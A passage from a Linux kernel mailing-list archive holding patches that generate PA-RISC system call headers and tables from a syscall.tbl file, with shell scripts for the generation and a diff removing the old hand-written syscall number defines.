+135     common  sysfs                           sys_sysfs
+136     common  personality                     sys_personality
+137     common  afs_syscall                     sys_ni_syscall
+138     common  setfsuid                        sys_setfsuid
+139     common  setfsgid                        sys_setfsgid
+140     common  _llseek                         sys_llseek
+141     common  getdents                        sys_getdents
+142     common  _newselect                      sys_select
+143     common  flock                           sys_flock
+144     common  msync                           sys_msync
+145     common  readv                           sys_readv
+146     common  writev                          sys_writev
+147     common  getsid                          sys_getsid
+148     common  fdatasync                       sys_fdatasync
+149     common  _sysctl                         sys_sysctl
+150     common  mlock                           sys_mlock
+151     common  munlock                         sys_munlock
+152     common  mlockall                        sys_mlockall
+153     common  munlockall                      sys_munlockall
+154     common  sched_setparam                  sys_sched_setparam
+155     common  sched_getparam                  sys_sched_getparam
+156     common  sched_setscheduler              sys_sched_setscheduler
+157     common  sched_getscheduler              sys_sched_getscheduler
+158     common  sched_yield                     sys_sched_yield
+159     common  sched_get_priority_max          sys_sched_get_priority_max
+160     common  sched_get_priority_min          sys_sched_get_priority_min
+161     common  sched_rr_get_interval           sys_sched_rr_get_interval
+162     common  nanosleep                       sys_nanosleep
+163     common  mremap                          sys_mremap
+164     common  setresuid                       sys_setresuid
+165     common  getresuid                       sys_getresuid
+166     common  sigaltstack                     sys_sigaltstack
+167     common  query_module                    sys_ni_syscall
+168     common  poll                            sys_poll
+169     common  nfsservctl                      sys_ni_syscall
+170     common  setresgid                       sys_setresgid
+171     common  getresgid                       sys_getresgid
+172     common  prctl                           sys_prctl
+173     common  rt_sigreturn                    sys_rt_sigreturn
+174     common  rt_sigaction                    sys_rt_sigaction
+175     common  rt_sigprocmask                  sys_rt_sigprocmask
+176     common  rt_sigpending                   sys_rt_sigpending
+177     common  rt_sigtimedwait                 sys_rt_sigtimedwait
+178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo
+179     common  rt_sigsuspend                   sys_rt_sigsuspend
+180     common  chown                           sys_chown
+181     common  setsockopt                      sys_setsockopt
+182     common  getsockopt                      sys_getsockopt
+183     common  sendmsg                         sys_sendmsg
+184     common  recvmsg                         sys_recvmsg
+185     common  semop                           sys_semop
+186     common  semget                          sys_semget
+187     common  semctl                          sys_semctl
+188     common  msgsnd                          sys_msgsnd
+189     common  msgrcv                          sys_msgrcv
+190     common  msgget                          sys_msgget
+191     common  msgctl                          sys_msgctl
+192     common  shmat                           sys_shmat
+193     common  shmdt                           sys_shmdt
+194     common  shmget                          sys_shmget
+195     common  shmctl                          sys_shmctl
+196     common  getpmsg                         sys_ni_syscall
+197     common  putpmsg                         sys_ni_syscall
+198     common  lstat64                         sys_lstat64
+199     common  truncate64                      sys_truncate64
+200     common  ftruncate64                     sys_ftruncate64
+201     common  getdents64                      sys_getdents64
+202     common  fcntl64                         sys_fcntl64
+203     common  attrctl                         sys_ni_syscall
+204     common  acl_get                         sys_ni_syscall
+205     common  acl_set                         sys_ni_syscall
+206     common  gettid                          sys_gettid
+207     common  readahead                       sys_readahead
+208     common  tkill                           sys_tkill
+209     common  sendfile64                      sys_sendfile64
+210     common  futex                           sys_futex
+211     common  sched_setaffinity               sys_sched_setaffinity
+212     common  sched_getaffinity               sys_sched_getaffinity
+213     common  set_thread_area                 sys_ni_syscall
+214     common  get_thread_area                 sys_ni_syscall
+215     common  io_setup                        sys_io_setup
+216     common  io_destroy                      sys_io_destroy
+217     common  io_getevents                    sys_io_getevents
+218     common  io_submit                       sys_io_submit
+219     common  io_cancel                       sys_io_cancel
+220     common  alloc_hugepages                 sys_ni_syscall
+221     common  free_hugepages                  sys_ni_syscall
+222     common  exit_group                      sys_exit_group
+223     common  lookup_dcookie                  sys_lookup_dcookie
+224     common  epoll_create                    sys_epoll_create
+225     common  epoll_ctl                       sys_epoll_ctl
+226     common  epoll_wait                      sys_epoll_wait
+227     common  remap_file_pages                sys_remap_file_pages
+228     common  semtimedop                      sys_semtimedop
+229     common  mq_open                         sys_mq_open
+230     common  mq_unlink                       sys_mq_unlink
+231     common  mq_timedsend                    sys_mq_timedsend
+232     common  mq_timedreceive                 sys_mq_timedreceive
+233     common  mq_notify                       sys_mq_notify
+234     common  mq_getsetattr                   sys_mq_getsetattr
+235     common  waitid                          sys_waitid
+236     common  fadvise64_64                    sys_fadvise64_64
+237     common  set_tid_address                 sys_set_tid_address
+238     common  setxattr                        sys_setxattr
+239     common  lsetxattr                       sys_lsetxattr
+240     common  fsetxattr                       sys_fsetxattr
+241     common  getxattr                        sys_getxattr
+242     common  lgetxattr                       sys_lgetxattr
+243     common  fgetxattr                       sys_fgetxattr
+244     common  listxattr                       sys_listxattr
+245     common  llistxattr                      sys_llistxattr
+246     common  flistxattr                      sys_flistxattr
+247     common  removexattr                     sys_removexattr
+248     common  lremovexattr                    sys_lremovexattr
+249     common  fremovexattr                    sys_fremovexattr
+250     common  timer_create                    sys_timer_create
+251     common  timer_settime                   sys_timer_settime
+252     common  timer_gettime                   sys_timer_gettime
+253     common  timer_getoverrun                sys_timer_getoverrun
+254     common  timer_delete                    sys_timer_delete
+255     common  clock_settime                   sys_clock_settime
+256     common  clock_gettime                   sys_clock_gettime
+257     common  clock_getres                    sys_clock_getres
+258     common  clock_nanosleep                 sys_clock_nanosleep
+259     common  tgkill                          sys_tgkill
+260     common  mbind                           sys_mbind
+261     common  get_mempolicy                   sys_get_mempolicy
+262     common  set_mempolicy                   sys_set_mempolicy
+263     common  vserver                         sys_ni_syscall
+264     common  add_key                         sys_add_key
+265     common  request_key                     sys_request_key
+266     common  keyctl                          sys_keyctl
+267     common  ioprio_set                      sys_ioprio_set
+268     common  ioprio_get                      sys_ioprio_get
+269     common  inotify_init                    sys_inotify_init
+270     common  inotify_add_watch               sys_inotify_add_watch
+271     common  inotify_rm_watch                sys_inotify_rm_watch
+272     common  migrate_pages                   sys_migrate_pages
+273     common  pselect6                        sys_pselect6
+274     common  ppoll                           sys_ppoll
+275     common  openat                          sys_openat
+276     common  mkdirat                         sys_mkdirat
+277     common  mknodat                         sys_mknodat
+278     common  fchownat                        sys_fchownat
+279     common  futimesat                       sys_futimesat
+280     common  fstatat64                       sys_fstatat64
+281     common  unlinkat                        sys_unlinkat
+282     common  renameat                        sys_renameat
+283     common  linkat                          sys_linkat
+284     common  symlinkat                       sys_symlinkat
+285     common  readlinkat                      sys_readlinkat
+286     common  fchmodat                        sys_fchmodat
+287     common  faccessat                       sys_faccessat
+288     common  unshare                         sys_unshare
+289     common  set_robust_list                 sys_set_robust_list
+290     common  get_robust_list                 sys_get_robust_list
+291     common  splice                          sys_splice
+292     common  sync_file_range                 sys_sync_file_range
+293     common  tee                             sys_tee
+294     common  vmsplice                        sys_vmsplice
+295     common  move_pages                      sys_move_pages
+296     common  getcpu                          sys_getcpu
+297     common  epoll_pwait                     sys_epoll_pwait
+298     common  statfs64                        sys_statfs64
+299     common  fstatfs64                       sys_fstatfs64
+300     common  kexec_load                      sys_kexec_load
+301     common  utimensat                       sys_utimensat
+302     common  signalfd                        sys_signalfd
+303     common  timerfd                         sys_ni_syscall
+304     common  eventfd                         sys_eventfd
+305     common  fallocate                       sys_fallocate
+306     common  timerfd_create                  sys_timerfd_create
+307     common  timerfd_settime                 sys_timerfd_settime
+308     common  timerfd_gettime                 sys_timerfd_gettime
+309     common  signalfd4                       sys_signalfd4
+310     common  eventfd2                        sys_eventfd2
+311     common  epoll_create1                   sys_epoll_create1
+312     common  dup3                            sys_dup3
+313     common  pipe2                           sys_pipe2
+314     common  inotify_init1                   sys_inotify_init1
+315     common  preadv                          sys_preadv
+316     common  pwritev                         sys_pwritev
+317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo
+318     common  perf_event_open                 sys_perf_event_open
+319     common  recvmmsg                        sys_recvmmsg
+320     common  accept4                         sys_accept4
+321     common  prlimit64                       sys_prlimit64
+322     common  fanotify_init                   sys_fanotify_init
+323     common  fanotify_mark                   sys_fanotify_mark
+324     common  clock_adjtime                   sys_clock_adjtime
+325     common  name_to_handle_at               sys_name_to_handle_at
+326     common  open_by_handle_at               sys_open_by_handle_at
+327     common  syncfs                          sys_syncfs
+328     common  setns                           sys_setns
+329     common  sendmmsg                        sys_sendmmsg
+330     common  process_vm_readv                sys_process_vm_readv
+331     common  process_vm_writev               sys_process_vm_writev
+332     common  kcmp                            sys_kcmp
+333     common  finit_module                    sys_finit_module
+334     common  sched_setattr                   sys_sched_setattr
+335     common  sched_getattr                   sys_sched_getattr
+336     common  utimes                          sys_utimes
+337     common  renameat2                       sys_renameat2
+338     common  seccomp                         sys_seccomp
+339     common  getrandom                       sys_getrandom
+340     common  memfd_create                    sys_memfd_create
+341     common  bpf                             sys_bpf
+342     common  execveat                        sys_execveat
+343     common  membarrier                      sys_membarrier
+344     common  userfaultfd                     sys_userfaultfd
+345     common  mlock2                          sys_mlock2
+346     common  copy_file_range                 sys_copy_file_range
+347     common  preadv2                         sys_preadv2
+348     common  pwritev2                        sys_pwritev2
+349     common  statx                           sys_statx
diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
new file mode 100644
index 0000000..c6f26f2
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
@@ -0,0 +1,38 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+prefix="$4"
+offset="$5"
+
+fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
+    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
+    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+    echo "#ifndef ${fileguard}"
+    echo "#define ${fileguard}"
+    echo ""
+    echo -e "#define __NR_Linux\t0"
+
+    nxt=0
+    while read nr abi name entry compat ; do
+	if [ -z "$offset" ]; then
+	    echo -e "#define __NR_${prefix}${name}\t$nr"
+	else
+	    echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
+	fi
+	nxt=$nr
+	let nxt=nxt+1
+    done
+
+    echo ""
+    if [ -z "$offset" ]; then
+	echo -e "#define __NR_syscalls\t$nxt"
+    else
+	echo -e "#define __NR_syscalls\t($offset + $nxt)"
+    fi
+    echo ""
+    echo "#endif /* ${fileguard} */"
+) > "$out"
diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
new file mode 100644
index 0000000..8e38dd0
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
@@ -0,0 +1,36 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abi="$3"
+
+emit() {
+    nxt="$1"
+    nr="$2"
+    entry="$3"
+    
+    while [ $nxt -lt $nr ]; do
+	echo "__SYSCALL($nxt, sys_ni_syscall, )"
+        let nxt=nxt+1
+    done
+    
+    echo "__SYSCALL($nr, $entry, )"
+}
+
+grep '^[0-9]' "$in" | sort -n | (
+    nxt=0
+    while read nr abi name entry compat ; do
+	if [ "$my_abi" = "64" -o "$my_abi" = "32" ]; then
+            emit $nxt $nr $entry
+	elif [ "$my_abi" = "c32" ]; then
+	    if [ -z "$compat" ]; then
+                emit $nxt $nr $entry
+            else
+                emit $nxt $nr $compat
+            fi
+	fi
+	nxt=$nr
+        let nxt=nxt+1
+    done
+) > "$out"
-- 
1.9.1



From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH 4/4] parisc: uapi header and system call table file generation
Date: Fri, 14 Sep 2018 13:56:43 +0530
Lines: 986
Approved: news@gmane.org
Message-ID: <1536913603-4584-5-git-send-email-firoz.khan@linaro.org>
References: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1536913544 23244 195.159.176.226 (14 Sep 2018 08:25:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 08:25:44 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: Thibaut Varene <T-Bone@parisc-linux.org>,
        linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 14 10:25:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g0jQ1-0005sQ-G0
	for glk-linux-kernel-4@m.gmane.org; Fri, 14 Sep 2018 10:25:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728147AbeINNlI (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 14 Sep 2018 09:41:08 -0400
Original-Received: from mail-pg1-f194.google.com ([209.85.215.194]:36736 "EHLO
        mail-pg1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727804AbeINNlH (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 14 Sep 2018 09:41:07 -0400
Original-Received: by mail-pg1-f194.google.com with SMTP id d1-v6so4053850pgo.3
        for <linux-kernel@vger.kernel.org>; Fri, 14 Sep 2018 01:27:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=g9cxSXPDz9bn9iunr11uNW8aNahk/sJr1pW043hvPJY=;
        b=Dvp05IxK5PaRIz3vksZOaVoTmLtwp2E6s9glf36JpNOdZhLyyZHa2hGRnffCYL2CMW
         EC4i1Ah6z12jMqel77S4dqCSz/ypyb0WoyHdXY+hJamkpq+fUz5CayFpGpyJgohpUAq1
         +YUMCG0G56FrCXjsPurbCMW87ZAASdLlzOJKg=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=g9cxSXPDz9bn9iunr11uNW8aNahk/sJr1pW043hvPJY=;
        b=WuDLUBRqnp4bkVAoaXLwM9g1W8zMXf3VQm6atM8lpldfLvJSbuj8cTgOdmW/PRsXHR
         NOdi2cOqrVCe/H4eaPSzr4pUeC1Jz/63jd1+VTD+CS4Wbab7g4pPElh7N8EEua3ngL36
         Tj87kjMNLaTQmCIL5a2OAnT/iN7PT36NLm2KMBwUCppFqvOBJ+T5AGDGeWn//GTd/WUm
         hMseQABJXLnDo4puwBD8/KHC40mrJ2CD9Xc9cpLf5RrUm3Q1fUjwTgIyGVt0AqG/N9eD
         lNI41JjDbwopM37yUwkakkX1ZJthMIBeA7Eq6+euGJ7GC6AKRLfi+bJCXTIoQSpwzth/
         7pew==
X-Gm-Message-State: APzg51D+kNKBypVgQSDM4YYzp+TiqamFOcKDysjWOrkzr/c42OKktmGW
        95eOH590doLDac4BrVeONSMF9g==
X-Google-Smtp-Source: ANB0VdZsrvkrG4XTjUGtNp9qZqetFJ/a7KsaQSRowL5nLCnHY5yAP6aZXLWCpzQSPUI9zkYqae36CA==
X-Received: by 2002:a62:591a:: with SMTP id n26-v6mr11311758pfb.94.1536913662666;
        Fri, 14 Sep 2018 01:27:42 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.60.83])
        by smtp.gmail.com with ESMTPSA id q80-v6sm8919855pfd.15.2018.09.14.01.27.36
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 14 Sep 2018 01:27:42 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2870558 gmane.linux.ports.parisc:28940 gmane.linux.kernel.year-2038:3310 gmane.linux.kernel.cross-arch:46413
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2870558>

System call table generation script must be run to generate
unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
will have changes which will invokes the script.

This patch will generate unistd_32/64.h and syscall_table_
32/64/c32.h files by the syscall table generation script
invoked by arch/sparc/Makefile and the generated files against
the removed files will be identical.

The generated uapi header file will be included in uapi/asm/
unistd_32/64.h and generated system call table support file will
be included by arch/sparc/kernel/syscall_table_32/64.S file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/Makefile                  |   4 +
 arch/parisc/include/asm/Kbuild        |   3 +
 arch/parisc/include/uapi/asm/Kbuild   |   2 +
 arch/parisc/include/uapi/asm/unistd.h | 370 +--------------------------
 arch/parisc/kernel/syscall.S          |  14 +-
 arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
 arch/parisc/kernel/syscall_table_32.S |  11 +
 arch/parisc/kernel/syscall_table_64.S |  19 ++
 8 files changed, 47 insertions(+), 835 deletions(-)
 delete mode 100644 arch/parisc/kernel/syscall_table.S
 create mode 100644 arch/parisc/kernel/syscall_table_32.S
 create mode 100644 arch/parisc/kernel/syscall_table_64.S

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 5ce0302..6b217da 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -159,6 +159,10 @@ endef
 
 # we require gcc 3.3 or above to compile the kernel
 archprepare: checkbin
+
+archheaders:
+	$(Q)$(MAKE) $(build)=arch/parisc/kernel/syscalls all
+
 checkbin:
 	@if test "$(cc-version)" -lt "0303"; then \
 		echo -n "Sorry, GCC v3.3 or above is required to build " ; \
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 2013d63..f67046d 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -23,3 +23,6 @@ generic-y += user.h
 generic-y += vga.h
 generic-y += word-at-a-time.h
 generic-y += xor.h
+generated-y += syscall_table_32.h
+generated-y += syscall_table_64.h
+generated-y += syscall_table_c32.h
\ No newline at end of file
diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index 286ef5a..dc1823a 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -7,3 +7,5 @@ generic-y += kvm_para.h
 generic-y += param.h
 generic-y += poll.h
 generic-y += resource.h
+generated-y += unistd_32.h
+generated-y += unistd_64.h
\ No newline at end of file
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 7532817..5b7578e 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -2,371 +2,11 @@
 #ifndef _UAPI_ASM_PARISC_UNISTD_H_
 #define _UAPI_ASM_PARISC_UNISTD_H_
 
-/*
- * Linux system call numbers.
- *
- * Cary Coutant says that we should just use another syscall gateway
- * page to avoid clashing with the HPUX space, and I think he's right:
- * it will would keep a branch out of our syscall entry path, at the
- * very least.  If we decide to change it later, we can ``just'' tweak
- * the LINUX_GATEWAY_ADDR define at the bottom and make __NR_Linux be
- * 1024 or something.  Oh, and recompile libc. =)
- */
-
-#define __NR_Linux                0
-#define __NR_restart_syscall      (__NR_Linux + 0)
-#define __NR_exit                 (__NR_Linux + 1)
-#define __NR_fork                 (__NR_Linux + 2)
-#define __NR_read                 (__NR_Linux + 3)
-#define __NR_write                (__NR_Linux + 4)
-#define __NR_open                 (__NR_Linux + 5)
-#define __NR_close                (__NR_Linux + 6)
-#define __NR_waitpid              (__NR_Linux + 7)
-#define __NR_creat                (__NR_Linux + 8)
-#define __NR_link                 (__NR_Linux + 9)
-#define __NR_unlink              (__NR_Linux + 10)
-#define __NR_execve              (__NR_Linux + 11)
-#define __NR_chdir               (__NR_Linux + 12)
-#define __NR_time                (__NR_Linux + 13)
-#define __NR_mknod               (__NR_Linux + 14)
-#define __NR_chmod               (__NR_Linux + 15)
-#define __NR_lchown              (__NR_Linux + 16)
-#define __NR_socket              (__NR_Linux + 17)
-#define __NR_stat                (__NR_Linux + 18)
-#define __NR_lseek               (__NR_Linux + 19)
-#define __NR_getpid              (__NR_Linux + 20)
-#define __NR_mount               (__NR_Linux + 21)
-#define __NR_bind                (__NR_Linux + 22)
-#define __NR_setuid              (__NR_Linux + 23)
-#define __NR_getuid              (__NR_Linux + 24)
-#define __NR_stime               (__NR_Linux + 25)
-#define __NR_ptrace              (__NR_Linux + 26)
-#define __NR_alarm               (__NR_Linux + 27)
-#define __NR_fstat               (__NR_Linux + 28)
-#define __NR_pause               (__NR_Linux + 29)
-#define __NR_utime               (__NR_Linux + 30)
-#define __NR_connect             (__NR_Linux + 31)
-#define __NR_listen              (__NR_Linux + 32)
-#define __NR_access              (__NR_Linux + 33)
-#define __NR_nice                (__NR_Linux + 34)
-#define __NR_accept              (__NR_Linux + 35)
-#define __NR_sync                (__NR_Linux + 36)
-#define __NR_kill                (__NR_Linux + 37)
-#define __NR_rename              (__NR_Linux + 38)
-#define __NR_mkdir               (__NR_Linux + 39)
-#define __NR_rmdir               (__NR_Linux + 40)
-#define __NR_dup                 (__NR_Linux + 41)
-#define __NR_pipe                (__NR_Linux + 42)
-#define __NR_times               (__NR_Linux + 43)
-#define __NR_getsockname         (__NR_Linux + 44)
-#define __NR_brk                 (__NR_Linux + 45)
-#define __NR_setgid              (__NR_Linux + 46)
-#define __NR_getgid              (__NR_Linux + 47)
-#define __NR_signal              (__NR_Linux + 48)
-#define __NR_geteuid             (__NR_Linux + 49)
-#define __NR_getegid             (__NR_Linux + 50)
-#define __NR_acct                (__NR_Linux + 51)
-#define __NR_umount2             (__NR_Linux + 52)
-#define __NR_getpeername         (__NR_Linux + 53)
-#define __NR_ioctl               (__NR_Linux + 54)
-#define __NR_fcntl               (__NR_Linux + 55)
-#define __NR_socketpair          (__NR_Linux + 56)
-#define __NR_setpgid             (__NR_Linux + 57)
-#define __NR_send                (__NR_Linux + 58)
-#define __NR_uname               (__NR_Linux + 59)
-#define __NR_umask               (__NR_Linux + 60)
-#define __NR_chroot              (__NR_Linux + 61)
-#define __NR_ustat               (__NR_Linux + 62)
-#define __NR_dup2                (__NR_Linux + 63)
-#define __NR_getppid             (__NR_Linux + 64)
-#define __NR_getpgrp             (__NR_Linux + 65)
-#define __NR_setsid              (__NR_Linux + 66)
-#define __NR_pivot_root          (__NR_Linux + 67)
-#define __NR_sgetmask            (__NR_Linux + 68)
-#define __NR_ssetmask            (__NR_Linux + 69)
-#define __NR_setreuid            (__NR_Linux + 70)
-#define __NR_setregid            (__NR_Linux + 71)
-#define __NR_mincore             (__NR_Linux + 72)
-#define __NR_sigpending          (__NR_Linux + 73)
-#define __NR_sethostname         (__NR_Linux + 74)
-#define __NR_setrlimit           (__NR_Linux + 75)
-#define __NR_getrlimit           (__NR_Linux + 76)
-#define __NR_getrusage           (__NR_Linux + 77)
-#define __NR_gettimeofday        (__NR_Linux + 78)
-#define __NR_settimeofday        (__NR_Linux + 79)
-#define __NR_getgroups           (__NR_Linux + 80)
-#define __NR_setgroups           (__NR_Linux + 81)
-#define __NR_sendto              (__NR_Linux + 82)
-#define __NR_symlink             (__NR_Linux + 83)
-#define __NR_lstat               (__NR_Linux + 84)
-#define __NR_readlink            (__NR_Linux + 85)
-#define __NR_uselib              (__NR_Linux + 86)
-#define __NR_swapon              (__NR_Linux + 87)
-#define __NR_reboot              (__NR_Linux + 88)
-#define __NR_mmap2               (__NR_Linux + 89)
-#define __NR_mmap                (__NR_Linux + 90)
-#define __NR_munmap              (__NR_Linux + 91)
-#define __NR_truncate            (__NR_Linux + 92)
-#define __NR_ftruncate           (__NR_Linux + 93)
-#define __NR_fchmod              (__NR_Linux + 94)
-#define __NR_fchown              (__NR_Linux + 95)
-#define __NR_getpriority         (__NR_Linux + 96)
-#define __NR_setpriority         (__NR_Linux + 97)
-#define __NR_recv                (__NR_Linux + 98)
-#define __NR_statfs              (__NR_Linux + 99)
-#define __NR_fstatfs            (__NR_Linux + 100)
-#define __NR_stat64             (__NR_Linux + 101)
-/* #define __NR_socketcall         (__NR_Linux + 102) */
-#define __NR_syslog             (__NR_Linux + 103)
-#define __NR_setitimer          (__NR_Linux + 104)
-#define __NR_getitimer          (__NR_Linux + 105)
-#define __NR_capget             (__NR_Linux + 106)
-#define __NR_capset             (__NR_Linux + 107)
-#define __NR_pread64            (__NR_Linux + 108)
-#define __NR_pwrite64           (__NR_Linux + 109)
-#define __NR_getcwd             (__NR_Linux + 110)
-#define __NR_vhangup            (__NR_Linux + 111)
-#define __NR_fstat64            (__NR_Linux + 112)
-#define __NR_vfork              (__NR_Linux + 113)
-#define __NR_wait4              (__NR_Linux + 114)
-#define __NR_swapoff            (__NR_Linux + 115)
-#define __NR_sysinfo            (__NR_Linux + 116)
-#define __NR_shutdown           (__NR_Linux + 117)
-#define __NR_fsync              (__NR_Linux + 118)
-#define __NR_madvise            (__NR_Linux + 119)
-#define __NR_clone              (__NR_Linux + 120)
-#define __NR_setdomainname      (__NR_Linux + 121)
-#define __NR_sendfile           (__NR_Linux + 122)
-#define __NR_recvfrom           (__NR_Linux + 123)
-#define __NR_adjtimex           (__NR_Linux + 124)
-#define __NR_mprotect           (__NR_Linux + 125)
-#define __NR_sigprocmask        (__NR_Linux + 126)
-#define __NR_create_module      (__NR_Linux + 127) /* not used */
-#define __NR_init_module        (__NR_Linux + 128)
-#define __NR_delete_module      (__NR_Linux + 129)
-#define __NR_get_kernel_syms    (__NR_Linux + 130) /* not used */
-#define __NR_quotactl           (__NR_Linux + 131)
-#define __NR_getpgid            (__NR_Linux + 132)
-#define __NR_fchdir             (__NR_Linux + 133)
-#define __NR_bdflush            (__NR_Linux + 134)
-#define __NR_sysfs              (__NR_Linux + 135)
-#define __NR_personality        (__NR_Linux + 136)
-#define __NR_afs_syscall        (__NR_Linux + 137) /* not used */
-#define __NR_setfsuid           (__NR_Linux + 138)
-#define __NR_setfsgid           (__NR_Linux + 139)
-#define __NR__llseek            (__NR_Linux + 140)
-#define __NR_getdents           (__NR_Linux + 141)
-#define __NR__newselect         (__NR_Linux + 142)
-#define __NR_flock              (__NR_Linux + 143)
-#define __NR_msync              (__NR_Linux + 144)
-#define __NR_readv              (__NR_Linux + 145)
-#define __NR_writev             (__NR_Linux + 146)
-#define __NR_getsid             (__NR_Linux + 147)
-#define __NR_fdatasync          (__NR_Linux + 148)
-#define __NR__sysctl            (__NR_Linux + 149)
-#define __NR_mlock              (__NR_Linux + 150)
-#define __NR_munlock            (__NR_Linux + 151)
-#define __NR_mlockall           (__NR_Linux + 152)
-#define __NR_munlockall         (__NR_Linux + 153)
-#define __NR_sched_setparam             (__NR_Linux + 154)
-#define __NR_sched_getparam             (__NR_Linux + 155)
-#define __NR_sched_setscheduler         (__NR_Linux + 156)
-#define __NR_sched_getscheduler         (__NR_Linux + 157)
-#define __NR_sched_yield                (__NR_Linux + 158)
-#define __NR_sched_get_priority_max     (__NR_Linux + 159)
-#define __NR_sched_get_priority_min     (__NR_Linux + 160)
-#define __NR_sched_rr_get_interval      (__NR_Linux + 161)
-#define __NR_nanosleep          (__NR_Linux + 162)
-#define __NR_mremap             (__NR_Linux + 163)
-#define __NR_setresuid          (__NR_Linux + 164)
-#define __NR_getresuid          (__NR_Linux + 165)
-#define __NR_sigaltstack        (__NR_Linux + 166)
-#define __NR_query_module       (__NR_Linux + 167) /* not used */
-#define __NR_poll               (__NR_Linux + 168)
-#define __NR_nfsservctl         (__NR_Linux + 169) /* not used */
-#define __NR_setresgid          (__NR_Linux + 170)
-#define __NR_getresgid          (__NR_Linux + 171)
-#define __NR_prctl              (__NR_Linux + 172)
-#define __NR_rt_sigreturn       (__NR_Linux + 173)
-#define __NR_rt_sigaction       (__NR_Linux + 174)
-#define __NR_rt_sigprocmask     (__NR_Linux + 175)
-#define __NR_rt_sigpending      (__NR_Linux + 176)
-#define __NR_rt_sigtimedwait    (__NR_Linux + 177)
-#define __NR_rt_sigqueueinfo    (__NR_Linux + 178)
-#define __NR_rt_sigsuspend      (__NR_Linux + 179)
-#define __NR_chown              (__NR_Linux + 180)
-#define __NR_setsockopt         (__NR_Linux + 181)
-#define __NR_getsockopt         (__NR_Linux + 182)
-#define __NR_sendmsg            (__NR_Linux + 183)
-#define __NR_recvmsg            (__NR_Linux + 184)
-#define __NR_semop              (__NR_Linux + 185)
-#define __NR_semget             (__NR_Linux + 186)
-#define __NR_semctl             (__NR_Linux + 187)
-#define __NR_msgsnd             (__NR_Linux + 188)
-#define __NR_msgrcv             (__NR_Linux + 189)
